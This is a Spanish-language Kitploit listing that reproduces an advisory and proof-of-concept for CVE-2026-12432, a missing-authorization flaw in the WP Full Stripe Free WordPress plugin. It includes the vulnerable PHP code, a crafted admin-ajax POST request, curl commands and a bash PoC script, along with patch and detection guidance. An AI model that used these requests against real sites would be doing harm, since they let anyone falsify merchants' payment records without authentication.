Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Autorización Faltante | Kitploit
Herramientas/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónMala Configuración
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Autorización Faltante

Ver Repositorio
15hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - Autorización Faltante

Resumen

  • ID de CVE: CVE-2026-12432
  • Puntuación CVSS: 5.3 (Media)
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Afectado: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Corregido: >= 8.4.4
  • Publicado: 26 de junio de 2026
  • Última actualización: 27 de junio de 2026
  • Investigador: Netwurm - VTDR e.V.i.G.

Descripción de la Vulnerabilidad

El plugin WP Full Stripe Free para WordPress es vulnerable a Autorización Faltante en versiones hasta, e incluyendo, 8.4.3 a través de la acción AJAX wpfs_update_failed_payment_status.

Causa Raíz

El endpoint AJAX vulnerable está registrado a través de los hooks wp_ajax_ y wp_ajax_nopriv_:

root@kitploit:~
// wpfs-customer.php, Línea 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

La función update_failed_payment_status() (Línea 3835-3865) realiza:

  • ❌ SIN comprobación de capacidad (sin current_user_can())
  • ❌ SIN verificación de nonce (sin wp_verify_nonce())
  • ❌ SIN comprobación de inicio de sesión (sin is_user_logged_in())

Código Vulnerable

root@kitploit:~
// wpfs-customer.php, Línea 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... sin comprobación de autenticación antes de procesar ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // El atacante puede sobrescribir con valores controlados
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Vector de Ataque

Prerrequisitos

  • El ID de Payment Intent debe ser conocido (expuesto en el navegador durante el checkout normal de Stripe)
  • No se requiere autenticación

Pasos del Ataque

  1. Identificar Objetivo: Encontrar un sitio WordPress con WP Full Stripe Free <= 8.4.3 instalado
  2. Obtener ID de Payment Intent: Extraer del flujo de checkout de Stripe.js o de transacciones previas
  3. Enviar Solicitud Maliciosa: Crear una solicitud POST a admin-ajax.php con parámetros controlados por el atacante

Solicitud HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Evaluación del Impacto

Área de ImpactoSeveridadDescripción
IntegridadMediaLos atacantes pueden marcar pagos exitosos como fallidos
ConfidencialidadNingunaSin exposición de datos
DisponibilidadBajaPodría interrumpir las operaciones comerciales

Impactos Específicos

  1. Manipulación de Registros de Pago: El atacante puede modificar el estado del pago de "pagado" a "fallido"
  2. Códigos de Falla Falsos: El atacante puede inyectar códigos/mensajes de falla arbitrarios
  3. Ingeniería Social: Podría usarse para defraudar a clientes o disputar cargos legítimos
  4. Corrupción del Registro de Auditoría: Se pueden falsificar registros comerciales

Prueba de Concepto (curl)

Detección Básica

root@kitploit:~
# Prueba si el endpoint es accesible sin autenticación
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Respuesta esperada (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# El indicador clave es que el endpoint responde SIN requerir autenticación

Script de PoC Completo

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Verificar si es vulnerable
echo "[*] Probando CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accesible sin autenticación"
else
    echo "[-] No vulnerable o error"
fi

Remedio

Solución Inmediata

Agregar una comprobación de autorización en wpfs-customer.php en la línea 3835:

root@kitploit:~
function update_failed_payment_status() {
    // AGREGAR ESTA COMPROBACIÓN
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... resto de la función
}

Solución Recomendada (por el proveedor)

Actualizar a WP Full Stripe Free >= 8.4.4

root@kitploit:~
# A través del administrador de WordPress
Dashboard > Plugins > WP Full Stripe > Actualizar

# A través de WP-CLI
wp plugin update wp-full-stripe-free

# A través de SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Detección

Verificación Manual

  1. Verificar la versión del plugin en el administrador de WordPress
  2. Revisar wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Buscar la ausencia de current_user_can() antes de los manejadores AJAX

Detección Automatizada

root@kitploit:~
# Verificar si está instalada una versión vulnerable
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Probar el endpoint AJAX
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potencialmente Vulnerable"

Referencias

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • Canal de Telegram de W.P.E.F #1
  • Canal de Telegram de W.P.E.F #2 --

Cronología

  • 26 de junio de 2026: Vulnerabilidad divulgada públicamente
  • 27 de junio de 2026: CVE-2026-12432 publicado
  • Parche: Actualizar a >= 8.4.4
Descargar herramienta